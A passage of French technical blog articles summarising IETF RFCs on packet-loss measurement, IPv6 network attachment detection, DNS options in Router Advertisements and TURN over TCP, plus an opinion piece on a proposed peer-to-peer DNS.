1458 bytes from 198.51.100.80: icmp_seq=5 ttl=46 time=167 ms
1458 bytes from 198.51.100.80: icmp_seq=6 ttl=46 time=167 ms
1458 bytes from 198.51.100.80: icmp_seq=9 ttl=46 time=169 ms
1458 bytes from 198.51.100.80: icmp_seq=10 ttl=46 time=167 ms
1458 bytes from 198.51.100.80: icmp_seq=13 ttl=46 time=168 ms
1458 bytes from 198.51.100.80: icmp_seq=15 ttl=46 time=168 ms
1458 bytes from 198.51.100.80: icmp_seq=18 ttl=46 time=167 ms
--- 198.51.100.80 ping statistics ---
19 packets transmitted, 8 received, 57% packet loss, time 18013ms
rtt min/avg/max/mdev = 167.407/168.034/169.066/0.639 ms

Mais les mesures aller-retour ont bien des limites :

  • Si le chemin est asymétrique, on mesure en fait les performances de deux chemins, l'aller et le retour, qui n'ont pas forcément les mêmes caractéristiques. Même si le chemin est symétrique (passage par les mêmes routeurs à l'aller et au retour), rien ne dit que les résultats soient les mêmes dans les deux sens : files d'attente différentes, QoS peut-être réglée différemment, etc.
  • Beaucoup d'applications, par exemple les transferts de fichiers, voient leurs performances dépendre essentiellement d'un seul chemin (pour un transfert de fichiers, celui que suivent les données, pas le chemin inverse par lequel ne transitent que les petits accusés de réception).

Mais les mesures aller-simple sont plus difficiles à effectuer entre autres parce qu'elles ont souvent besoin d'horloges synchronisées (section 1.2). Le principe de la mesure de notre métrique est en effet d'émettre un paquet depuis la machine source à un temps T et de l'attendre à la machine destination jusqu'au temps T + t (où t est le délai qu'on accepte d'attendre). Si les deux machines ne sont pas synchronisées, leurs mesures de T vont différer, faussant ainsi les résultats. La section 1.2 rappelle donc le vocabulaire à utiliser pour évaluer la synchronisation. Les gourous de l'horlogerie verront qu'il est différent de celui des documents UIT comme le G.810, « Definitions and terminology for synchronization networks ».

  • Synchronisation (synchronization) signifie que deux horloges sont d'accord entre elles sur l'heure qu'il est (time error pour l'UIT).
  • Correction (accuracy) désigne le degré d'accord entre une horloge et la vraie heure UTC (time error from UTC pour l'UIT). Deux horloges peuvent donc être synchronisées et néanmoins incorrectes.
  • Résolution (resolution) est la précision de l'horloge. Certains vieux Unix n'avancent ainsi l'horloge que toutes les dix ms et sa résolution est donc de 10 ms (cela se voyait bien avec la commande ping, qui n'affichait que des RTT multiples de 10). L'UIT dit sampling period.
  • Décalage (skew) est le changement dans la synchronisation ou la correction. Il se produit lorsque l'horloge va plus ou moins vite qu'elle ne le devrait. L'UIT appelle cela time drift.

Une fois ces préliminaires achevés, la section 2 décrit la métrique principale de notre RFC, Type-P-One-way-Packet-Loss. Sa valeur est simplement 0 lorsque le paquet est arrivé et 1 autrement.

Il y a bien sûr davantage de choses à dire sur cette métrique. Par exemple (section 2.5), faut-il distinguer le cas où un paquet a vraiment été perdu et le cas où il est simplement arrivé en retard, après l'expiration du délai ? En théorie, on devrait attendre 255 secondes, la durée de vie maximale d'un paquet IP (RFC 791, section 3.2). En pratique, on attendra moins longtemps : après tout, pour beaucoup d'applications, un paquet en retard n'a aucun intérêt, on peut aussi bien le considérer comme perdu. C'est l'approche retenue ici.

Et si le paquet arrive corrompu, le considère-t-on comme perdu ? Là encore, oui, pas de distinction. En effet, si le paquet est corrompu, on ne peut même pas être sûr qu'il était bien le paquet attendu, puisque les bits qui permettent de le reconnaître sont peut-être ceux qui ont été changés.

Même chose si le paquet est fragmenté et que certains des fragments n'arrivent pas à tout. On ne peut pas reconstituer le paquet, on le considère comme perdu. En revanche, la duplication, elle, n'est pas considérée comme une perte.

Notre RFC 2680 décrit une métrique (une grandeur définie rigoureusement), pas une méthodologie de mesure, encore moins un protocole. Toutefois, la section 2.6 donne des indications sur ce que pourrait être une telle méthodologie. Le mécanisme recommandé est de mettre une estampille temporelle dans le paquet émis, et de regarder à l'arrivée si on détecte le paquet au bout d'un temps « raisonnable ». À noter que cette méthode n'implique pas une stricte synchronisation des horloges entre les deux machines. On est loin d'un protocole complet (je n'ai pas l'impression qu'il ait jamais été mis au point) et, par exemple, on n'indique pas comment la destination sait qu'elle doit s'attendre à voir arriver un paquet.

Toute mesure implique des erreurs et des incertitudes et la section 2.7 les analyse. D'abord, si les horloges ne sont pas synchronisées du tout, un paquet peut être déclaré comme perdu à tort (si l'émetteur a une horloge qui retarde, le paquet arrivera tard et le destinataire aura pu s'impatienter et le considéré perdu). Même problème si le délai d'attente n'est pas raisonnable, si le destinataire renonce trop vite. Ces deux problèmes peuvent être évités en synchronisant à peu près les horloges (il suffit que leur écart soit petit par rapport au délai d'attente) et en choisissant bien le délai (par exemple, sur une liaison utilisant un satellite géostationnaire, la finitude de la vitesse de la lumière impose un délai d'attente minimum de 240 ms - 2 * 35 786 / 300 000).

Une troisième source d'erreur est plus subtile : le paquet peut arriver jusqu'à la machine de destination (donc le réseau fonctionne bien) mais celle-ci le rejeter car ses ressources (par exemple les tampons d'entrée/sortie) sont pleines. Pour éviter de compter à tort des paquets comme perdus, il faut s'assurer que la machine de mesure a des ressources suffisantes pour traiter tous les paquets.

La métrique présentée en section 2 était pour un paquet. La section 3 définit une métrique supplémentaires, Type-P-One-way-Packet-Loss-Poisson-Stream pour le cas où on utilise plusieurs paquets. Et la section 4 s'en sert pour définir une statistique utile. Type-P-One-way-Packet-Loss-Average (section 4.1) est le taux de pertes moyen. Si on envoie cinq paquets et que quatre arrivent, elle vaut 0,2 (c'est ce qu'affiche ping sous l'intitulé % packet loss).

Cette moyenne n'est pas toujours facile à évaluer. Ainsi, sur un lien Internet typique, le taux de pertes est bas (nettement moins de 1 %). Pour obtenir une valeur statistiquement significative, il faut souvent tester avec des centaines de paquets. Comme le note la section 5, consacrée à la sécurité, c'est un problème courant des mesures actives : elles peuvent perturber le réseau qu'elle observent.

Ce RFC 2680 a par la suite été évalué dans le RFC 7290, avec des résultats positifs. Cela a mené à son évolution en RFC 7680


Téléchargez le RFC 2680


L'article seul

Un DNS en pair-à-pair ?

Première rédaction de cet article le 2 décembre 2010


D'innombrables électrons ont été agités sur toute la planète pour écrire des articles de blogs (ou leurs commentaires), des tweets ou des messages sur les listes de diffusion, au sujet du projet de Peter Sunde d'un « DNS pair-à-pair ». Je le reconnais, j'écris cet article en mode grognon : je suis jaloux de Peter Sunde, à qui il suffit de parler vaguement en 140 caractères d'un projet à peine défini pour obtenir aussitôt l'attention de tous. Cela illustre malheuresement le fonctionnement de l'« économie de l'attention » lorsque le vedettariat s'en mêle. Mais revenons à ce projet. En quoi consiste-t-il et que peut-on en dire ?

D'abord, un peu de contexte. Les insatisfactions quant à la manière dont est géré le système de noms de domaines sont anciennes. Étant hiérarchique (et non pas centralisé, comme beaucoup d'ignorants l'ont écrit), ce système prête à l'attention de gens peu recommandables et d'innombrables problèmes ont surgi autour du contrôle de ce système, pour lequel de très nombreuses réunions dans des destinations touristiques se sont déjà tenues. Le pouvoir sur la racine de ce système, géré par le gouvernement des États-Unis via l'ICANN a ainsi souvent été contesté, et l'ICANN affublée de divers noms d'oiseaux. Plus récemment, le scandaleux projet de loi COICA aux États-Unis a attiré l'attention sur le risque d'un contrôle de l'Internet via le DNS, au profit, dans le cas de COICA, de l'industrie du divertissement. Sans même attendre un éventuel vote de COICA, le gouvernement états-unien a procédé en novembre 2010 à la destruction d'un certain nombre de noms de domaines, au nom de la défense de ladite industrie. Le problème n'est évidemment pas spécifique aux États-Unis et, en France, le projet de loi LOPPSI prévoit un filtrage obligatoire de noms qui déplaisent au gouvernement, filtrage dont la mise en œuvre pourrait se faire via le DNS (au début, ce filtrage serait limité aux cas de pédopornographie mais l'histoire monte qu'un tel pouvoir de contrôle est toujours généralisé par la suite). La pression des titulaires de propriété intellectuelle existe aussi dans ce pays et une récente proposition de loi pour remplacer celle que le Conseil Constitutionnel avait cassée en octobre 2010 prévoit d'interdire l'enregistrement d'un nom correspondant à une marque (même sans intention malhonnête : si cette loi était adoptée et appliquée strictement, un M. Michelin ne pourrait pas enregistrer de domaine à son propre nom puisque c'est aussi une marque). (Un lecteur attentif me fait remarquer que ma présentation de cette proposition est résumée au point d'être à la limite de l'inexact. Mais mon but est de parler du projet « P2P DNS » et d'introduire cette discussion par un exemple des pressions existant sur le DNS. Pour la proposition de loi sur la gestion de .fr, le mieux est de la lire directement, de consulter les bons auteurs qui l'ont commentée, de la mettre en perspective - la jurisprudence - et d'écrire à votre député ensuite.)

Depuis l'annonce du projet de Peter Sunde, l'affaire WikiLeaks a d'ailleurs très bien illustré ces pressions contre la liberté d'expression, et les risques qu'il y a mettre tous les œufs dans le même panier (wikileaks.org est en panne depuis des jours car il n'y avait qu'un seul hébergeur DNS.)

On voit donc que les frustrations sont nombreuses et légitimes. Historiquement, elles ont mené à divers projets (et la plupart des articles sur le projet de Peter Sunde ne les mentionnent pas, probablement par ignorance de l'histoire), soit de créer des racines alternatives permettant de court-circuiter l'ICANN, voire les registres existants, soit de mettre au point des systèmes de résolutions de noms n'utilisant pas la hiérarchie du DNS, par exemple à base de DHT comme le très intéressant projet CoDoNS ou d'autres méthodes comme le ANDNA de Netsukuku ou comme Askemos. Avant toute mise en route d'un nouveau projet, il faudrait donc commencer par s'informer et se demander pourquoi ces projets, dont certains (comme CoDoNS ou comme la racine alternative ORSN) étaient très sérieux, n'ont jamais connu de déploiement significatif. Sinon, on agitera beaucoup d'air pour se retrouver face au même échec.

Maintenant, place au projet « P2P DNS ». Si on n'est pas un fanboy, il est difficile de l'analyser, de l'approuver ou de le critiquer, car il est très peu défini. Il y a de vagues idées, des propositions dont on ne sait pas si elles seront retenues ou pas, des grandes déclarations, bref, pour l'instant, c'est du niveau de l'idée de bistrot. Certes, beaucoup de grandes idées sont nées dans un bistrot mais, au bout d'un moment, elles en sont sorties et se sont confrontées au réel. Pour l'instant, avec le projet « P2P DNS », toutes les remarques critiques sont reçues par l'argument que rien n'est encore défini. Je vais donc devoir me contenter de remarques générales.

D'abord, il y a deux services fondamentaux que rend le DNS : l'enregistrement de noms et la résolution de noms. Historiquement, le terme de « Domain Name System » désignait les deux, comme si elles étaient forcément liées. Mais ce n'est pas le cas, même si le service d'enregistrement de noms et le protocole de résolution (le DNS, normalisé dans les RFC 1034 et RFC 1035) ont des interactions (tous les deux utilisent un mécanisme arborescent, par exemple). Le mécanisme d'enregistrement assure l'unicité des noms (une de ses fonctions les plus importantes) et celui de résolution permet à une machine d'obtenir des informations (par exemple des adresses IP) en échange d'un nom de domaine. On pourrait donc envisager de ne remplacer que l'un d'eux, ce qui est exactement ce que faisait CoDoNS (qui remplaçait la fonction de résolution par une DHT, en gardant le mécanisme d'enregistrement). Changer le mécanisme de résolution, quoique une tâche colossale (il faudrait modifier des centaines de milliers de machines) reste possible. Il existe d'ailleurs déjà aujourd'hui des mécanismes alternatifs (comme des fichiers de noms locaux). Changer le système de nommage et d'enregistrement, que tant d'utilisateurs (bien plus compliqués à mettre à jour que les logiciels) connaissent paraît franchement irréaliste.

Or, on ne sait pas à quelle fonction veut s'attaquer le projet « P2P DNS ». Le message original de Peter Sunde mentionnait juste la création d'une racine alternative, donc un changement du mécanisme d'enregistrement. Mais d'autres parlent de créer un nouveau TLD, .p2p, d'autres de remplacer le DNS par BitTorrent. Difficile d'y voir clair. On a l'impression qu'il y a en fait plusieurs projets différents, chacun avec un cahier des charges distincts et n'ayant en commun que leur insatisfaction du système actuel.

Car ces discussions sur le projet parlent rarement de ce qui devrait être le principal problème : quels services rend-t-on ?. Le DNS fournit des noms uniques, relativement mémorisables par un humain et qui peuvent être résolus par un programme (cette résolution était traditionnellement faite de manière assez peu sûre, ce que DNSSEC arrangera peut-être). Et il fonctionne depuis plus de vingt ans, malgré les changements considérables qu'a connu l'Internet. L'enregistrement d'un nom nécessite de passer par les règles d'enregistrement d'un registre et, bien qu'ils aient fâcheusement tendance à se copier les uns les autres (la pensée unique frappe ici aussi), cela laisse un certain choix à l'utilisateur (d'autant plus que le registre n'est pas forcément un TLD, il existe des registres à tous les niveaux comme eu.org).

Plusieurs articles sur le sujet ont mentionné la participation d'une des organisations qui font encore tourner une racine alternative, OpenNIC, qui vend des noms dans des TLD bidons comme .free. OpenNIC pourrait être le registre de .p2p et il existe déjà une page Web décrivant le projet. Dans ce cas, les problèmes qu'on a actuellement avec l'ICANN, l'AFNIC ou Verisign seraient simplement déplacés vers OpenNIC. Comme toujours en politique, il n'y a pas de raccourci simple : si on transfère le pouvoir d'un acteur à l'autre, on n'a résolu aucun problème. Quelle politique suivra ce nouveau registre ? La page ci-dessus ne permet pas d'être optimiste, avec comme seule idée, celle de privilégier les gros, ceux qui sont premiers dans le classement d'Alexa : « To prevent domain fraud on commonly used domains (eg: google.*) alexa top1000 will be locked to the owner of the highest ranking domain that appears on the alexa rankings. ».

D'autres possibilités d'un nouveau registre ont été émises, du genre « A widely distributed group of trustworthy individuals [...] Sure it's "centralized" to a small group of people, but they are not ICANN or the RIAA. ». Elles sont, politiquement, tout aussi contestables : les individus honnêtes ne le restent pas quand on leur donne un tel pouvoir.

Si on veut passer à un autre système, il faut voir ce qu'on va abandonner. Il n'existe pas de solution magique qui résoudrait tous les problèmes en n'ayant aucun inconvénient. Ce problème, quoique ignoré par la plupart des admirateurs qui tombent en pâmoison devant toute déclaration de Peter Sunde, est pourtant bien connu dans le milieu du pair-à-pair. Ainsi, pour trouver un fichier dans un réseau pair-à-pair, soit on utilise un système hiérarchique (c'est le cas du BitTorrent classique où la récupération du fichier .torrent passe par un URL donc un nom de domaine), soit on fonctionne de manière complètement pair-à-pair et, dans ce cas, il n'y a plus d'unicité : le même nom peut désigner deux fichiers totalement différentes (une énorme différence avec les URL). C'est ce qui se produit avec les racines alternatives : s'il n'existe pas de racine unique (RFC 2826), alors le même nom (par exemple stopthecavalry.jona-lewie.mp3, exemple relativement réaliste puisqu'il existe effectivement plusieurs TLD .mp3 différents dans plusieurs racines alternatives) peut être enregistré par deux entités différentes et avoir des contenus complètement différents.

Est-ce si grave ? Cela dépend. On peut estimer que le plaisir d'être débarassé de l'ICANN, des registres et de toute cette cuisine vaut bien qu'on supporte quelques inconvénients. C'est un choix possible. Mais je ne l'ai vu mentionné explicitement et clairement que dans un seul des articles consacrés au projet « DNS P2P » (« And yes, it's not going to be secure and authenticated like the present system. We're just going to have to deal with that. »), les autres semblaient tout simplement ignorants du problème.

(Un point technique : je connais au moins un algorithme, dû à Emin Gun Sirer, d'enregistrement de noms uniques en pair-à-pair, sans registre central, à condition que toutes les parties coopèrent. Il n'est pas utilisable en pratique pour cette raison mais je suis preneur d'algorithmes plus astucieux.)

Et si on change le système de résolution, que gagne-t-on et que perd-t-on ? D'abord, il faut préciser que le DNS actuel est fondé sur plus de vingt ans d'expérience avec le monde réel. Tout mécanisme autre (et ceux à base de DHT sont techniquement très intéressants, et méritent certainement l'attention de tout informaticien ambitieux) mettrait sans doute des années avant d'être au point et une longue coexistence est à prévoir. On est loin des vantardises de geeks qui se voient remplacer les opérateurs DNS actuels en trois mois. Ensuite, il reste des problèmes colossaux à résoudre. L'un d'eux est la sécurité de la résolution de noms. Actuellement, dans la très grande majorité des cas, la confiance dans le résultat de la résolution vient du fait qu'on s'est adressé à un serveur connu. En pair-à-pair, ce mécanisme de validation disparait. N'importe qui peut mettre n'importe quoi dans la DHT et il n'y a plus de serveur faisant autorité. CoDoNS résolvait le problème en imposant DNSSEC ce qui était techniquement correct mais on retombe alors sur le fait qu'on a juste changé le système de résolution (CoDoNS visait surtout la résistance aux DoS, quitte à exagérer). L'infrastructure d'enregistrement reste la même, avec ses défauts (DNSSEC utilise l'arborescence du DNS pour la validation des signatures.) Il est du reste très probable qu'il ne peut pas y avoir de sécurité dans un système purement pair-à-pair (c'est-à-dire sans aucun composant privilégié).

Voici pour les objections pratiques. Mais il y a aussi un problème plus de fond : la question d'origine est à 100 % politique, elle porte sur le contrôle, la liberté, la censure. Il n'existe jamais de solution technique à des problèmes politiques. À un moment, il faut affronter le système et le changer. Autrement, celui-ci trouvera toujours un moyen de vous écraser. Si vous n'utilisez pas le DNS, ce sera via BGP ou via le filtrage IP. Malgré les déclamations ostentatoires et ridicules (comme « Internet treats censorship as a damage and routes around it »), il est illusoire de croire qu'on puisse résoudre des problèmes aussi graves que les atteintes aux libertés fondamentales via des astuces techniques.

Quelques articles intéressants :


L'article seul

RFC 6059: Simple procedures for Detecting Network Attachment in IPv6

Date de publication du RFC : Novembre 2010
Auteur(s) du RFC : S. Krishnan (Ericsson), G. Daley (NetStar Networks)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF dna
Première rédaction de cet article le 2 décembre 2010


Un engin mobile connecté à l'Internet change souvent de réseau. Il se déplace, s'attache à un autre réseau, perd le contact avec la borne WiFi, retrouve du 3G un peu plus loin et, chaque fois, il peut se retrouver sur un réseau différent, avec des paramètres différents mais aussi parfois sur un réseau déjà visité, auquel cas il peut peut-être réutiliser tout de suite des paramètres mémorisés. Il est donc nécessaire de pouvoir déterminer rapidement à quel réseau on est attaché, et si les paramètres précédents sont toujours valables. C'est le but de la méthode exposée dans ce RFC, équivalent IPv6 du RFC 4436.

Le but, comme exposé par la section 2.1, est donc de rendre la mobilité plus agréable, sans avoir à changer les routeurs, sans dégrader le service existant (par exemple, le temps de réponse ne doit jamais être pire qu'avec les méthodes actuelles), en acceptant des faux négatifs (un réseau déjà visité n'est pas reconnu) mais jamais les faux positifs (un réseau nouveau est pris à tort pour un réseau connu).

A-t-on besoin d'un nouveau protocole pour cela ? Après tout (section 2.2), il existe déjà la procédure standard de Neighbor Discovery du RFC 4861. Le nouveau Simple DNA ne sera pas une amélioration de ND dans tous les cas mais il aidera dans certains, notamment ceux où l'engin se déplace régulièrement parmi un ensemble de quelques réseaux. Si le réseau est complètement nouveau, Simple DNA n'apportera rien (mais n'aura pas d'inconvénients). De même, Simple DNA n'aidera pas pour le cas où le réseau est statiquement configuré, il ne marche qu'avec les adresses allouées par Router Advertisement (RFC 4862) ou DHCP (RFC 3315).

Simple DNA va fonctionner en interrogeant les routeurs connus pour voir s'ils sont toujours là. Une autre approche aurait été possible, en interrogeant les couches basses (section 2.3) pour voir si l'attachement au réseau n'avait pas changé (par exemple, même si le RFC ne le mentionne pas, en WiFi, on peut regarder le SSID et l'adresse MAC de la borne). Mais cette méthode aurait été moins générale.

Donc, comment fonctionne ce Simple DNA (section 2.4) ? Le fait d'être connecté à un réseau est signalé par les couches basses (Link Up en Ethernet ou WiFi). Reste à trouver à quel réseau on est connecté. Simple DNA utilise à la fois des paquets unicast Neighbor Solicitation (RFC 4861, section 7.2.2) et des paquets multicast Router Solicitation (RFC 4861, section 6.3.7) pour tester les routeurs dont il se souvient. Si aucun ne répond, Simple DNA passe aux procédures normales, Stateless address autoconfiguration ou bien DHCP. Le fait de se servir de Neighbor Solicitation permettra d'obtenir une réponse plus rapide (les routeurs ne répondent pas instantanément aux Router Solicitation).

Bien sûr, dans la réalité, tout ne se passe pas aussi bien. Simple DNA dépend de plusieurs choses, résumées par la section 2.5 : le fait que le couple {adresse MAC du routeur, adresse IP du routeur locale au lien} soit unique et le fait que les machines sont prévenues lorsque le lien physique devient fonctionnel (RFC 4957 et section 5.4 de notre RFC).

La section 4 note ensuite que la mise en œuvre complète de l'algorithme nécessite une nouvelle structure de données, la SDAT (Simple DNA Address Table). Elle va contenir la liste des routeurs déjà vus et est donc composée d'entrées indexées par le couple {adresse MAC du routeur, adresse IP du routeur locale au lien}. Elle contiendra les informations suivantes : l'information a-t-elle été obtenue par DHCP ou bien autoconfiguration sans état, adresse IP de la machine, durée de vie, préfixe utilisé, l'information a-t-elle été sécurisée par SEND, ainsi que des informations spécifiques à DHCP. Ainsi, si Simple DNA trouve qu'un réseau a déjà été visité, il a toutes les informations sous la main pour configurer immédiatement l'interface réseau.

La marche exacte à suivre de la part de la machine qui se trouve connectée est détaillée en section 5 (avec une représentation en pseudo-code en section 6). La section 5.5 décrit ainsi l'envoi des paquets de sondage (un Router Solicitation pour voir si un routeur répond, des Neighbor Solicitations pour tester les routeurs dont on se souvient, six au maximum à la fois, pour ne pas surcharger le réseau). C'est là qu'est précisé le fait que ces paquets de sondage devraient être envoyés en parallèle, pour diminuer le temps total de l'opération (et garantir ainsi que Simple DNA ne prendra jamais plus de temps qu'une méthode classique).

Le traitement des réponses est en section 5.7 : il est important que la machine vérifie que les adresses MAC correspondent bien à ce dont elle se souvient. Sinon, cela signifie que le réseau est en fait différent et qu'il faut abandonner Simple DNA pour revenir à la méthode habituelle. Naturellement, si on reçoit un Router Advertisement normal, il faut l'utiliser, quelles que soient les informations stockées dans la table SDAT.

Bien plus embêtant est le cas où les informations recueillies sont incohérentes (section 5.7.3). Par exemple, si le test d'un routeur avec le Neighbor Solicitation ne coïncide pas avec les Router Advertisement reçus. Dans ce cas, le RFC décide qu'il faut croire le Router Advertisement (sauf si SEND est utilisé). Si le conflit est entre des tests par Neighbor Solicitation et DHCP, il faut faire confiance à DHCP.

Autres recommandations, ne pas effectuer de tests de duplication d'adresses (RFC 4862, section 5.4) si on retourne à un réseau connu et ne pas insister éternellement si les Neighbor Solicitations ne ramènent pas de réponses du tout : ce cas veut sans doute dire simplement que le réseau ne marche pas.

Ah, et si on tient à faire de l'IPv4 ? La section 8 rappelle que IPv4 a aussi un système équivalent (RFC 4436) mais qui suit un algorithme très différent (IPv4 n'a pas de Router Advertisement, par exemple).

Enfin, comme avec toutes les techniques de configuration automatiques ou semi-automatiques, il y a un sérieux problème de sécurité (section 10). Les messages reçus peuvent être des faux. À part utiliser SEND (RFC 3971), il n'y a pas de solution miracle, et la seule recommandation de notre RFC est de veiller à ce que des informations non sécurisées par SEND ne remplacent pas des informations sécurisées. Autrement dit, si on avait visité un réseau qui avait un routeur SEND et, qu'en revenant sur un réseau qui semble le même, on reçoit des Router Advertisement non-SEND, il ne faut pas les utiliser. (J'ai d'ailleurs bien l'impression que, si on suit strictement les règles du RFC, on ne pourra jamais se connecter à un réseau qui avait SEND mais a choisi ensuite de l'abandonner, sauf à vider la SDAT à la main.)

Reléguée en annexe A, une dernière recommandation. Bien que le DNA de IPv4 puisse se combiner avec des adresses manuellement configurées, les problèmes que cela a soulevé (notamment pour les réseaux qui utilisaient à la fois des adresses manuelles et des automatiques) font que DNA IPv6 déconseille formellement son utilisation dans les cas où l'adresse a été fixée à la main par l'administrateur système.


Téléchargez le RFC 6059


L'article seul

RFC 6106: IPv6 Router Advertisement Options for DNS Configuration

Date de publication du RFC : Novembre 2010
Auteur(s) du RFC : J. Jeong (Brocade/ETRI), S. Park (Samsung), L. Belœil (France Telecom R&D), S. Madanapalli (Ordyn)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF 6man
Première rédaction de cet article le 30 novembre 2010
Dernière mise à jour le 22 décembre 2010


Il existe deux méthodes pour configurer une machine IPv6 automatiquement, DHCP (RFC 3315) et RA (Router Advertisement, RFC 4862). Pendant longtemps, l'avantage de la première était de pouvoir indiquer d'autres informations que l'adresse IP, comme par exemple les adresses des serveurs DNS. Le RFC 5006 avait apporté cette possibilité à la configuration par RA. Mais son statut n'était qu'expérimental. Désormais, voici la même option mais sous la forme d'une vraie norme. (Ce RFC a depuis été à son tour remplacé par le RFC 8106.)

Si on gère un gros réseau, avec de nombreuses machines dont certaines, portables, vont et viennent, s'assurer que toutes ces machines ont les adresses IP des serveurs de noms à utiliser n'est pas trivial (section 1 du RFC). On ne peut évidemment pas utiliser le DNS, cela serait tenter de voler en tirant sur les lacets de ses chaussures. Et configurer à la main les adresses sur chaque machine (par exemple, sur Unix, en les écrivant dans le fichier /etc/hosts) est bien trop difficile à maintenir. Se passer du DNS est hors de question. Pour les machines bi-protocoles (IPv4 et IPv6), une solution possible était d'utiliser un serveur de noms en v4. Mais pour une solution purement v6 ?

La solution la plus populaire actuellement est DHCP (RFC 3315 et RFC 3646). Son principal inconvénient est qu'elle est à état : le serveur DHCP doit se souvenir des baux qu'il a attribué. Sur un gros réseau local, le nombre de requêtes à traiter, chacune nécessitant une écriture dans une base de données, peut devenir très lourd.

Une autre solution est sans état et repose sur une nouveauté d'IPv6, les RA (Router Advertisements, cette méthode est aussi appelée ND, pour Neighbor Discovery, les RA en étant un cas particulier), décrits dans le RFC 4862. Ce sont des messages envoyés à intervalles réguliers par les routeurs et qui informent les machines non-routeuses des caractéristiques essentielles du réseau, comme le préfixe utilisé (par exemple 2001:DB8:BEEF:42::/64). Le routeur diffuse ses messages et n'a pas besoin d'écrire quoi que ce soit sur son disque, ni de faire des traitements compliqués lors d'une sollicitation, il répond toujours par le même message RA.

Ces RA peuvent diffuser diverses informations, par le biais d'un système d'options. Le principe de notre RFC est donc d'utiliser ces RA pour transporter l'information sur les serveurs de noms récursifs utilisables sur le réseau local, via des nouvelles options notamment celle nommée RDNSS (le numéro 25 lui a été affecté par l'IANA).

La section 1.1 du RFC rappelle qu'il existe plusieurs choix, notre RFC 6106 n'étant qu'une possibilité parmi d'autres. Le RFC 4339 contient une discussion plus détaillée de ce problème du choix d'une méthode de configuration des serveurs de noms (notons qu'il existe d'autres méthodes comme l'anycast avec une adresse « bien connue »). La section 1.2 décrit ce qui se passe lorsque plusieurs méthodes (par exemple DHCP et RA) sont utilisées en même temps.

La méthode RA décrite dans notre RFC repose sur deux nouvelles options, RDNSS, déjà citée, et DNSSL, qui n'existait pas dans le RFC précédent (section 4). La première permet de publier les adresses des serveurs de noms, la seconde une liste de domaine à utiliser pour compléter les noms courts (formés d'un seul composant).

La première option, RDNSS, de numéro 25, est décrite en section 5.1. Elle indique une liste d'adresse IPv6 que le client RA mettra dans sa liste locale de serveurs de noms interrogeables.

La seconde option, DNSSL, de numéro 31, est en section 5.2 (les deux options sont enregistrées dans le registre IANA, cf. section 8). Elle publie une liste de domaines, typiquement ceux qui, sur une machine Unix, se retrouveront dans l'option search de /etc/resolv.conf.

Sur Linux, le démon rdnssd permet de recevoir ces RA et de modifier la configuration DNS. Pour FreeBSD, on peut consulter une discussion sur leur liste. Les CPE de Free, les Freebox, émettent de telles options dans leurs RA (apparemment, à la date de publication de notre RFC 6106, uniquement des RDNSS). Voici ce qu'affiche Wireshark :

...
Ethernet II, Src: FreeboxS_c3:83:23 (00:07:cb:c3:83:23), 
             Dst: IPv6mcast_00:00:00:01 (33:33:00:00:00:01)
...
Internet Control Message Protocol v6
    Type: 134 (Router advertisement)
...
    ICMPv6 Option (Recursive DNS Server)
        Type: Recursive DNS Server (25)
        Length: 40
        Reserved
        Lifetime: 600
        Recursive DNS Servers: 2a01:e00::2 (2a01:e00::2)
        Recursive DNS Servers: 2a01:e00::1 (2a01:e00::1)

et les serveurs DNS annoncés répondent correctement. (Vous pouvez récupérer le paquet entier sur pcapr.net.)

Autre mises en œuvre de ces options, dans radvd, qui a déjà l'option RDNSS et bientôt (en décembre 2010) la nouvelle DNSSL (ainsi que pour les logiciels auxiliaires). Quant à Wireshark, le code a déjà été écrit mais n'est pas encore intégré.

La section 6 de notre RFC donne des conseils aux programmeurs qui voudraient mettre en œuvre ce document. Par exemple, sur un système d'exploitation où le client RA tourne dans le noyau (pour configurer les adresses IP) et où la configuration DNS est dans l'espace utilisateur, il faut prévoir un mécanisme de communication, par exemple un démon qui interroge le noyau régulièrement pour savoir s'il doit mettre à jour la configuration DNS.

RA pose divers problèmes de sécurité, tout comme DHCP, d'ailleurs. Le problème de ces techniques est qu'elles sont conçues pour faciliter la vue de l'utilisateur et de l'administrateur réseau et que « faciliter la vie » implique en général de ne pas avoir de fonctions de sécurité difficiles à configurer. La section 7 traite de ce problème, par exemple du risque de se retrouver avec l'adresse d'un serveur DNS méchant qui vous redirigerait n'importe Dieu sait où (les RA ne sont pas authentifiés). Ce risque n'a rien de spécifique aux options DNS, toute la technique RA est vulnérable (par exemple, avec un faux Neighbor Advertisement). Donc, notre RFC n'apporte pas de risque nouveau. Si on considère cette faiblesse de sécurité comme insupportable, la section 7.2 recommande d'utiliser SEND (RFC 3971).

À noter que l'annexe A résume les changements depuis le RFC 5006. Passage sur le chemin des normes, ajout de la nouvelle option DNSSL (DNS Search List) plus diverses précisions sur le protocole. Depuis, le RFC 8106 a été publié et c'est lui qui est désormais la norme pour cette option.

Merci à Alexis La Goutte pour ses informations.


Téléchargez le RFC 6106


L'article seul

RFC 6062: Traversal Using Relays around NAT (TURN) Extensions for TCP Allocations

Date de publication du RFC : Novembre 2010
Auteur(s) du RFC : S. Perreault (Viagenie), J. Rosenberg (jdrosen.net)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF behave
Première rédaction de cet article le 30 novembre 2010


Le protocole TURN, qui permet à deux machines coincées derrière des routeurs NAT de communiquer en utilisant un relais tiers, a été normalisé dans le RFC 5766, dans une version minimale, uniquement pour IPv4 et seulement pour UDP, les services « incontestables », qui étaient pressés d'avoir une solution. Depuis, des extensions à TURN sont développées pour d'autres services. C'est ainsi que ce RFC 6062 permet d'utiliser TURN pour établir des liaisons avec TCP.

TURN, tel que normalisé dans le RFC 5766, pouvait déjà utiliser TCP entre le client et le relais (le serveur). Mais, en sortie du relais, vers l'autre pair, c'était forcément de l'UDP. Cela posait un problème (section 1 du RFC) lorsque l'autre pair ne pouvait pas faire d'UDP, ou bien lorsque les propriétés de TCP (notamment de fiabilité) étaient nécessaires. Supposons un logiciel d'audio-conférence : le son est typiquement transmis en UDP (car la rapidité est préférable à la fiabilité, pour ce service) mais si on veut ajouter un système permettant aux participants de se montrer des images, TCP est certainement préférable, afin de transférer le fichier représentant l'image. Avec le protocole TURN, cela se nomme une « allocation TCP » et ce sera désormais possible, aussi bien en demandant une session TCP entrant vers un pair, qu'en acceptant une session TCP sortant d'un pair.

